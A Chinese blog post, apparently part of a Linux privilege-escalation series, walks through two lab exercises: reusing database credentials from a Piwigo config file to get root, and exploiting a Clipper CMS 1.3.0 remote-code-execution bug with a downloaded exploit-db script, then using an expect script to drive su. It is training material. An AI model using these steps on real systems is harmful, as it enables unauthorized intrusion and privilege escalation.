Linux提权系列13:[训练营]攻破web应用获得root shell
2023-4-7 08:1:13 Author: 奶牛安全(查看原文) 阅读量:12 收藏

在现实世界中,不会像在 AttackDefense 实验室中那样获得类似 shell 的界面,而是网站或其他某种面向最终用户的界面。然后,需要通过使用 0-day 或已知漏洞利用该应用程序来获得初步立足点,然后在系统上执行枚举。

共享服务器

在实验开始时,发现安装了 sudo 并且当前用户有权通过 sudo 管理 MySQL 服务而无需输入任何密码

在大多数情况下,如果 MySQL 正在运行,开发人员一定使用了 PHP。根据经验,优秀的开发人员总是将数据库登录凭据存储在 database.phpdatabase.inc.phpconfig.inc.phpconfig.php 中。但是这个案例和往常不一样。

但幸运的是有信息泄露,它正在服务“Piwigo – Php based photo gallery”。在这种情况下,很容易找到默认的数据库配置。

所以从piwigo本身的论坛上发现它把数据库配置存放在local/config/database.inc.php

database.inc.php 文件内容如下

<?php
$conf['dblayer'] = 'mysql';
$conf['db_base'] = 'piwigo';
$conf['db_user'] = 'root';
$conf['db_password'] = 'w3lc0m3t0adlabs';
$conf['db_host'] = 'localhost';

$prefixeTable = 'piwigo_';

define('PHPWG_INSTALLED'true);
define('PWG_CHARSET''utf-8');
define('DB_CHARSET''utf8');
define('DB_COLLATE''');
?>

按照经验,用户不想记住他们的密码,所以他们选择一个困难的密码并在多个平台/系统上重复使用它。这也称为密码重用漏洞

因此,当尝试使用相同的 MySQL 密码以 root 用户身份登录时,它接受并生成了 root 用户 shell

这叫内部人员的威胁,必须教育和强制用户对不同平台使用不同的登录凭据。

CMS 管理员到 root

在实验中,有一个 Web 应用Clipper CMS,其登录凭据是 admin:password

登录后发现clipper cms版本为1.3.0,存在远程代码执行漏洞。可以在 exploitdb 上找到该漏洞 – https://www.exploit-db.com/exploits/38730

下载漏洞利用脚本并执行它。它会要求输入 cms 的路径,然后输入登录凭据

pwd
/tmp/exploit
$ wget https://www.exploit-db.com/download/38730 -qO exploit.py
$ ls -l
total 4
-rw-r--r-- 1 terabyte terabyte 3194 Aug 14 05:14 exploit.py
$ python exploit.py 
usage: python exploit.py http://example.com/ClipperCMS/ admin admin

该脚本利用文件管理器中的一些漏洞并使用 htaccess 上传 shell。成功执行后,它将文件 .htaccess 重命名为 ht.access

由于可以访问文件系统和任意命令,现在是枚举文件并查找配置文件以获取数据库登录凭据的时候了

/app/clipper/manager/includes/config.inc.php 中找到了以下内容

$database_type = 'mysqli';
$database_server = 'localhost';
$database_user = 'root';
$database_password = 'st4ytun3dL0tm0r3t0c0me';
$database_connection_charset = 'utf8';
$dbase = '`clipper`';
$table_prefix = 'clpr_';

由于所有命令都是通过 URL 查询参数执行的,并且没有 pty shell,可以通过 netcat 获得反向连接或使用 expect 工具通过非交互界面与程序交互。

这是用来与 /bin/su 命令交互的脚本

#!/usr/bin/expect -f
log_user 0
set password [lindex $argv 0]
spawn /bin/su -c [lindex $argv 1]
expect "Password:"
send "$password\\r";
interact

使用printf对文件内容进行url编码。在服务器上,有效负载将按原样传递,PHP 解释器会自动为解码。这是为了防止破坏 URL 规则

现在使用 ./file <password> <command>su 交互并以 root 身份执行命令。与之前的实验一样,系统也容易受到密码重用漏洞的影响

请点一下右下角的“在看”,谢谢!!

请点赞和转发,谢谢!!

暗号:547293


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247488932&idx=1&sn=34aabee39efcc12b7298b5b51d38d805&chksm=fdf97eb1ca8ef7a79cacc8ad03b3789278262145241f0ad01dab6fd572672a695f703e2183f0#rd
如有侵权请联系:admin#unsafe.sh